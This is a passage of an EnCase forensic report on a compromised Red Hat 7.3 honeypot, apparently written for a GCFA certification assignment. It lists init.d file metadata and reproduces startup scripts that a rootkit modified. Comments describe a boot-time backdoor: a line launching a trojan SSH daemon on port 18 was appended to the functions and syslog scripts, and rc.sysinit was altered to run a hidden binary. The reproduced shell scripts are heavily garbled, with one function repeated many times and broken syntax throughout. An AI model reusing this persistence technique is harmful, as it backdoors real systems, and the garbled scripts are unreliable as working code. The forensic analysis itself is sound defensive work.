<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdcrotate</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kdcrotate</td>
<td>06/19/03 11:36:46AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/01/02 08:43:05AM</td>
<td>52c90cfd7106168e12784574f66a9c87</td>
<td>2,048</td>
<td>1,084</td>
</tr>
<tr>
<td>gpm</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\gpm</td>
<td>06/19/03 11:36:39AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 11:43:30AM</td>
<td>57c68b9be4338b491c5dc2aeaca24520</td>
<td>2,048</td>
<td>1,541</td>
</tr>
<tr>
<td>sendmail</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sendmail</td>
<td>06/19/03 11:36:55AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/08/02 04:55:40AM</td>
<td>da93b121f2b893d0579075e6e71d5723</td>
<td>2,048</td>
<td>1,830</td>
</tr>
<tr>
<td>kudzu</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\kudzu</td>
<td>06/19/03 11:36:50AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/17/02 04:11:44PM</td>
<td>e8e31d1982dd547f059ce530e8541d6d</td>
<td>2,048</td>
<td>1,919</td>
</tr>
<tr>
<td>halt</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\halt</td>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
<tr>
<td>netfs</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\netfs</td>
<td>06/19/03 11:36:55AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/08/02 04:55:40AM</td>
<td>57c68b9be4338b491c5dc2aeaca24520</td>
<td>2,048</td>
<td>1,541</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/13/02 01:28:10AM</td>
<td>832173d444399f8da24f764d211ab161</td>
<td>5,120</td>
<td>5,104</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/12/01 11:18:08AM</td>
<td>27ea15de8132eef5987c204e05d19299</td>
<td>2,048</td>
<td>1,544</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:37:18AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/22/02 12:41:45AM</td>
<td>61b0710c6cd9661045b4296b77229686</td>
<td>4,096</td>
<td>3,313</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:37:18AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/22/02 12:41:45AM</td>
<td>61b0710c6cd9661045b4296b77229686</td>
<td>4,096</td>
<td>3,313</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/19/03 11:38:11AM</td>
<td>06/27/03 02:09:10PM</td>
<td>06/24/01 08:25:30PM</td>
<td>5479af54908ef2f8b169c17ce5acb54</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>No.</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>-----</td>
<td>--------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------</td>
<td>----------------</td>
<td>----------------</td>
<td>----------------------------------------------------------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>20</td>
<td>lpd</td>
<td>File</td>
<td><code>/etc/rc.d/init.d/lpd</code></td>
<td>06/19/03 11:39:08AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/02/02 10:57:07AM</td>
<td>37ba1d18ff0ff75142055f1b636cc9e</td>
<td>1,024</td>
</tr>
<tr>
<td>21</td>
<td>portmap</td>
<td>File</td>
<td><code>/etc/rc.d/init.d/portmap</code></td>
<td>06/19/03 11:40:22AM</td>
<td>06/27/03 02:09:10PM</td>
<td>02/27/02 01:41:37PM</td>
<td>97d91eea25e86a592c5bebbac49f16</td>
<td>2,048</td>
</tr>
<tr>
<td>22</td>
<td>xinetd</td>
<td>File</td>
<td><code>/etc/rc.d/init.d/xinetd</code></td>
<td>06/19/03 11:46:32AM</td>
<td>06/27/03 02:13:01PM</td>
<td>04/04/02 04:30:50PM</td>
<td>4296e7341173255750b8ed88d97</td>
<td>3,072</td>
</tr>
<tr>
<td>23</td>
<td>autofs</td>
<td>File</td>
<td><code>/etc/rc.d/init.d/autofs</code></td>
<td>06/20/03 02:13:13AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/02/02 10:22:41AM</td>
<td>81744fd73f4923367f42c374b64ab</td>
<td>10,240</td>
</tr>
<tr>
<td>24</td>
<td>nfslock</td>
<td>File</td>
<td><code>/etc/rc.d/init.d/nfslock</code></td>
<td>06/20/03 02:14:00AM</td>
<td>06/27/03 02:09:10PM</td>
<td>04/09/02 09:14:14AM</td>
<td>a3d40799d7f19b211652a6239b93625</td>
<td>3,072</td>
</tr>
<tr>
<td>25</td>
<td>identd</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>No.</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>-----</td>
<td>----------</td>
<td>-------------</td>
<td>-----------------------------------------------</td>
<td>----------------------</td>
<td>---------------------</td>
<td>---------------------</td>
<td>-----------------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>26)</td>
<td>snmpd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\snmpd</td>
<td>06/20/03 02:14:36AM</td>
<td>06/27/03 02:12:26PM</td>
<td>04/17/02 07:07:02AM</td>
<td>b9b3761374734822a49ff4bb3e646867</td>
<td>2,048</td>
</tr>
<tr>
<td>27)</td>
<td>yppbind</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppbind</td>
<td>06/20/03 02:14:45AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/25/02 03:44:14PM</td>
<td>b1482b84a650f1e4864538d7596fabe0</td>
<td>3,072</td>
</tr>
<tr>
<td>28)</td>
<td>sshd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sshd</td>
<td>06/29/03 03:22:04PM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/04/02 09:27:45PM</td>
<td>a84199973476d1ab0a4a42e6a617e853</td>
<td>3,072</td>
</tr>
<tr>
<td>29)</td>
<td>yppasswdd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppasswdd</td>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/16/02 10:09:56AM</td>
<td>7933a2a52ee4ed4e1dafa3e491e59ab10c</td>
<td>2,048</td>
</tr>
<tr>
<td>30)</td>
<td>ypxfrd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ypxfrd</td>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name functions
Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

#!/bin/bash
#
# functions This file contains functions to be used by most or all shell scripts in the /etc/init.d directory.
#
# Version: @(#) /etc/init.d/functions 1.01 26-Oct-1993
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugen.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# ll8n originally by: Arnaldo Carvalho de Melo <acme@connectiva.com.br>,
# Wanderlei Antonio Cavassin
TEXTDOMAIN=initscripts
TEXTDOMAINDIR=/etc/locale
#
# Make sure umask is sane
umask 022

# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

# Get a sane screen width
| -z "${COLUMNS:-}" | && COLUMNS=80
if [-f /etc/sysconfig/ll8n] -a -z "${NOLOCALE:-}" ]; then
   . /etc/sysconfig/ll8n
if [ "$LANG:-" = "ja_JP.eucJP" -a "/sbin/consoletype" != "pty" ]; then
   unset LANG
elif [ "$LANG:-" = "ko_KR.eucKR" -a "/sbin/consoletype" != "pty" ]; then
   unset LANG
elif [ "$LANG:-" = "zh_CN.GB2312" -a "/sbin/consoletype" != "pty" ]; then
   unset LANG
elif [ "$LANG:-" = "zh_TW.Big5" -a "/sbin/consoletype" != "pty" ]; then
   unset LANG
else
   export LANG
fi
fi

# Read in our configuration
if [-z "${BOOTUP:-}" ]; then
   if [-f /etc/sysconfig/init ]; then
      . /etc/sysconfig/init
   else
      # This all seem confusing? Look in /etc/sysconfig/init, # or in /usr/doc/initscripts/*sysconfig.txt
      BOOTUP=color
      RES_COL=60
      MOVE_TO_COL="echo -en \033[${RES_COL}G"
      SETCOLOR_SUCCESS="echo -en \033[1;32m"
      SETCOLOR_FAILURE="echo -en \033[1;31m"
      SETCOLOR_WARNING="echo -en \033[1;33m"
   fi
SETCOLOR_NORMAL="echo -en \033[0;39m"
LOGLEVEL=1
fi
if [ -x /sbin/consoletype ]; then
  if [ ""$consoletype"" = ""serial"" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_FAILURE=
    SETCOLOR_WARNING=
    SETCOLOR_NORMAL=
  fi
fi
fi
if [ "$BOOTUP:-" != "verbose" ]; then
  INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi

# Check if $pid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [ -d /proc/$1 ] && return 0
    shift
  done
  return 1
}

# A function to start a program.
demon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid=
  nicelevel=0
  while [ "$1" != "$1##[-]" ]; do
    case $1 in
      --)
        echo "$0: Usage: demon [+/ -nicelevel] {program}"
        return 1;;
      --check)
        gotbase="yes"
        shift 2
        ;;
      --check=??)
        gotbase="yes"
        shift
        ;;
      --user)
        user=""$2"
        shift 2
        ;
      --user=??)
        user=""$2"
        shift
        ;;
      --force)
        force="force"
        shift
        ;;
      [+][-][0-9]*)
        nice="nice -n $1"
        shift
        ;;
      *)
        echo "$0: Usage: demon [+/ -nicelevel] {program}"
        return 1;;
    esac
  esac
  # Check if $pid (could be plural) are running
  checkpid() {
    while [ "$1" ]; do
      [ -d /proc/$1 ] && return 0
      shift
    done
    return 1
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
        [+][-][0-9]*)
          nice="nice -n $1"
          shift
          ;;
        *)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
      esac
    esac
  }

  # A function to start a program.
demon() {
    # Test syntax.
    local gotbase= force=
    local base= user= nice= bg= pid=
    nicelevel=0
    while [ "$1" != "$1##[-]" ]; do
      case $1 in
        --)
          echo "$0: Usage: demon [+/ -nicelevel] {program}"
          return 1;;
        --check)
          gotbase="yes"
          shift 2
          ;;
        --check=??)
          gotbase="yes"
          shift
          ;;
        --user)
          user=""$2"
          shift 2
          ;
        --user=??)
          user=""$2"
          shift
          ;;
        --force)
          force="force"
          shift
          ;;
esac
done

# Save basename.
[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look *only* at the pid file.
pid=`pidfileofproc $base`
[ -n "$pid:" ] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon
[ "$BOOTUP:*" = "verbose" ] && echo "$base startup"

# And start it up.
if [ -z "$user" ]; then
$nice initlog $INITLOG_ARGS -c "$*"
else
$nice initlog $INITLOG_ARGS -c "su -s /bin/bash - $user -c \"$*\"
fi
[ "$?" = 0 ] && success "$base startup" || failure "$base startup"

# A function to stop a program.
killproc() {
    RC=0
    # Test syntax.
    if [ "$#" = 0 ]; then
        echo "$Usage: killproc {program} [signal]"
        return 1
    fi
    notset=0

    # check for second arg to be kill level
    if [ "$2" = "" ]; then
        killlevel="-"
    else
        notset=1
        killlevel="-9"
    fi

    # Save basename.
    base=${1##*/}

    # Find pid.
    pid=`pidofproc $1`
    if [ -z "$pid:" ]; then
        pid=`pidofproc $base`
    fi

    # Kill it.
    if [ -n "$pid:" ]; then
        kill -TERM $pid
        if [ "$notset" ]; then
            if checkpid $pid 2>&1; then
                kill -KILL $pid
                usleep 100000
            fi
            if checkpid $pid && sleep 1 &&
            checkpid $pid && sleep 3 &&
            checkpid $pid; then
                kill -KILL $pid
                usleep 100000
            fi
        fi
checkpid $pid
RC=$?
[ "$RC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=${! $RC}
# use specified level only
else
  if checkpid $pid >/dev/null 2>&1; then
    kill $killlevel $pid
    RC=$?
    [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
    fi
  fi
else
  failure "$base shutdown"
  RC=1
fi

# Remove pid file if any.
if [ "$notset" = "1" ]; then
  rm -f /var/run/$base.pid
fi
return $RC
}

# A function to find the pid of a program. Looks only at the pidfile.
pidfileofproc() {
  local base=${1##*/}
  local pid

  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidfileofproc {program}";
    return 1
  fi

  # First try "/var/run/*.pid" files
  if [ -f /var/run/${base}.pid ]; then
    local line p pid=
    read line < /var/run/${base}.pid
    for p in $line ; do
      [ -z "${p//[0-9]/}" -a -d /proc/$p ] && pid="${pid}:p"
    done
    if [ -n "$pid:" ]; then
      echo $pid
      return 0
    fi
  fi
}

# A function to find the pid of a program.
pidofproc() {
  base=${1##*/}

  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidofproc {program}";
    return 1
  fi

  # First try "/var/run/*.pid" files
  if [ -f /var/run/${base}.pid ]; then
    local line p pid=
    read line < /var/run/${base}.pid
    for p in $line ; do
      [ -z "$p://[0-9]/" ] -a -d /proc/$p ] && pid="${pid}:p"
    done
    if [ -n "$pid:" ]; then
      echo $pid
      return 0
    fi
  fi
status() {  
local base=${1##*/}  
local pid  
  
  # Test syntax.  
  if [ "$#" = 0 ] ; then  
    echo "$Usage: status [program]"  
    return 1  
  fi  
  
  # First try "pidof"  
  pid=`pidof -o $$ -o PPID -o %PPID -x $1 | \  
       pidof -o $$ -o PPID -o %PPID -x $2(base)`  
  if [ "$pid" != "" ] ; then  
    echo "$2(base) (pid $pid) is running..."  
    return 0  
  fi  
  
  # Next try "/var/run/*.pid" files  
  if [ ! -f /var/run/$2(base).pid ] ; then  
    read pid < /var/run/$2(base).pid  
    if [ "$pid" != "" ] ; then  
      echo "$2(base) dead but pid file exists"  
      return 1  
    fi  
  fi  
  
  # See if /var/lock/subsys/$2(base) exists  
  if [ ! -f /var/lock/subsys/$2(base) ] ; then  
    echo "$2(base) dead but subsys locked"  
    return 2  
  fi  
  echo "$2(base) is stopped"  
  return 3  
}  
  
echo_success() {  
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL  
echo -n "["  
[ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS  
echo -n "$OK"]  
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL  
echo -n "\r"  
return 0  
}  
  
echo_failure() {  
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL  
echo -n "["  
[ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE  
echo -n "$FAILED"]  
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL  
echo -n "\r"  
return 1  
}  
  
echo_passed() {  
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL  
echo -n "["  
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING  
echo -n "$SUCCESS"]  
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL  
echo -n "\r"  
return 0  
}
echo -n "$PASSED"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n ""
echo -ne \"n
return 1
}
echo_warning() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
echo -n "$WARNING"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -ne \"\nreturn 1
}

# Log that something succeeded
success() {
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
    # silly hack to avoid EPIPE killing rc.sysinit
    trap "" SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
    trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 2" >&21
    trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
    trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
return $rc
}

# Log a warning
warning() {
rc=$?
if [ -z "${IN_INITLOG:-}" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
    trap - SIGPIPE

EnCase Computer Analysis Report

37) Name syslog
Description File
Full Path /etc/rc.d/init.d/syslog
Entry Modified 06/29/03 03:25:21PM
Last Accessed 06/29/03 03:22:07PM
Last Written 06/29/03 03:25:21PM
Hash Value 7e7d2b5075662d3cd6e35c24b5003d69
Physical Size 2,048
Logical Size 1,405

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.

#!/bin/bash
#
# syslog Starts syslogd/klogd.
#
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log \
### BEGIN INIT INFO
# Provides: $syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslogd ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi

RETVAL=0

umask 077

start() {
  echo -n "$syslogd:"
  daemon syslogd $SYSLOGD_OPTIONS
  RETVAL=$?
  echo
  echo -n "$klogd:"
  daemon klogd $KLOGD_OPTIONS
  RETVAL=$?
  echo
  [ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() {
  echo -n "$syslogd:"
  killproc syslogd
  echo
  echo -n "$klogd:"
  killproc klogd
  RETVAL=$?
  echo
  [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/syslog
  return $RETVAL
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
  ;;
  stop)
    stop
  ;;
  status)
    rhstatus
  ;;
  restart|reload)
    restart
  ;;
  condrestart)
38) Name rc.sysinit
Description File
Full Path /etc/rc.sysinit
Entry Modified 06/29/03 03:22:09PM
Last Accessed 06/30/03 04:45:40PM
Last Written 06/29/03 03:22:09PM
Hash Value ee965268d25b94ed0ffeb16dbe5be890
Physical Size 22,528
Logical Size 22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "wait". The wait file is located in /usr/sbin/ directory and calles popauth, an executable in the /x directory.

#!/bin/bash
#
# /etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#
# Rerun ourselves through initlog
if (-z "$INITLOG" ); then
  (-f /sbin/initlog ) && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
- e /dev/.devfsd -a .x /sbin/devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME="/bin/hostname"

# Read in config data.
if [ -f /etc/sysconfig/network ]; then
  . /etc/sysconfig/network
else
  NETWORKING=no
fi

if [ -z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
  HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner. ;)
echo -en "$\t\tWelcome to \\
if grep -q "Red Hat" /etc/redhat-release ; then


[ "$BOOTUP" = "color" ] && echo -en $"\033[1;31m" echo -en "Red Hat"

[ "$BOOTUP" = "color" ] && echo -en $"\033[0;39m" PRODUCT=`sed s/Red Hat \(.*\) release.*/\1/ /etc/redhat-release` echo "$PRODUCT"
else
PRODUCT=`sed s/ release.*//g` /etc/redhat-release`
fi

if [ "$PROMPT" != "no" ]; then
echo -en "$t\tPress 'I' to enter interactive startup."
echo
sleep 1

fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then
  if [ -e /initrd/dev/.devfsd ]; then
    umount /initrd/dev
  fi
action "$Unmounting initrd: " umount /initrd
/sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1
fi

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -e /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0

if [ -f /etc/sysconfig/clock ]; then
  ./etc/sysconfig/clock
  # convert old style clock config to new values
  if [ "$CLOCKMODE" = "GMT" ]; then
    UTC=true
  elif [ "$CLOCKMODE" = "ARC" ]; then
    ARC=true
  fi
  CLOCKDEF=""
  CLOCKFLAGS="$CLOCKFLAGS --hctosys"

  case "$UTC" in
    yes|true)
      CLOCKFLAGS="$CLOCKFLAGS --utc";
      CLOCKDEF="$CLOCKDEF (utc)";
    ;;
    no|false)
      CLOCKFLAGS="$CLOCKFLAGS --localtime";
      CLOCKDEF="$CLOCKDEF (localtime)";
    ;;
  esac

  case "$ARC" in
    yes|true)
      CLOCKFLAGS="$CLOCKFLAGS --arc";
      CLOCKDEF="$CLOCKDEF (arc)";
    ;
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Page 225

; esac
case "$SRM" in
  yes|true)
    CLOCKFLAGS="--srm"
    CLOCKDEF="(srm)"
; esac
/sbin/hwclock $CLOCKFLAGS

action "$CLOCKDEF: `date`" date
if [ "-x /sbin/consoletype" = "vt" ]; then
  # Load keymap
  if [ -x /bin/loadkeys ]; then
    KEYTABLE=
    KEYMAP=/etc/sysconfig/console/default.kmap
  else
    if [ -f /etc/sysconfig/keyboard ]; then
      /etc/sysconfig/keyboard
    fi
    if [ -n "$KEYTABLE" -a -d "/usr/lib/kbd/keymaps" -o -d "/lib/kbd/keymaps" ]; then
      KEYMAP=$KEYTABLE
    fi
  fi
  if [ -n "$KEYMAP" ]; then
    # Since this takes in/output from stdin/out, we can't use initlog
    if [ -n "$KEYTABLE" ]; then
      echo "$LOADING default keymap ($KEYMAP): "
    else
      echo "$LOADING default keymap: "
    fi
    loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
    success "$LOADING default keymap" ||
    failure "$LOADING default keymap"
    echo
  fi
fi

# Load system font
if [ -x /sbin/setsysfont ]; then
  [ -f /etc/sysconfig/i18n ] && . /etc/sysconfig/i18n
  [ -f /etc/sysconfig/console/$SYSFONT.psf.gz ]
    /usr/lib/kbd/consolefonts/$SYSFONT.psf.gz
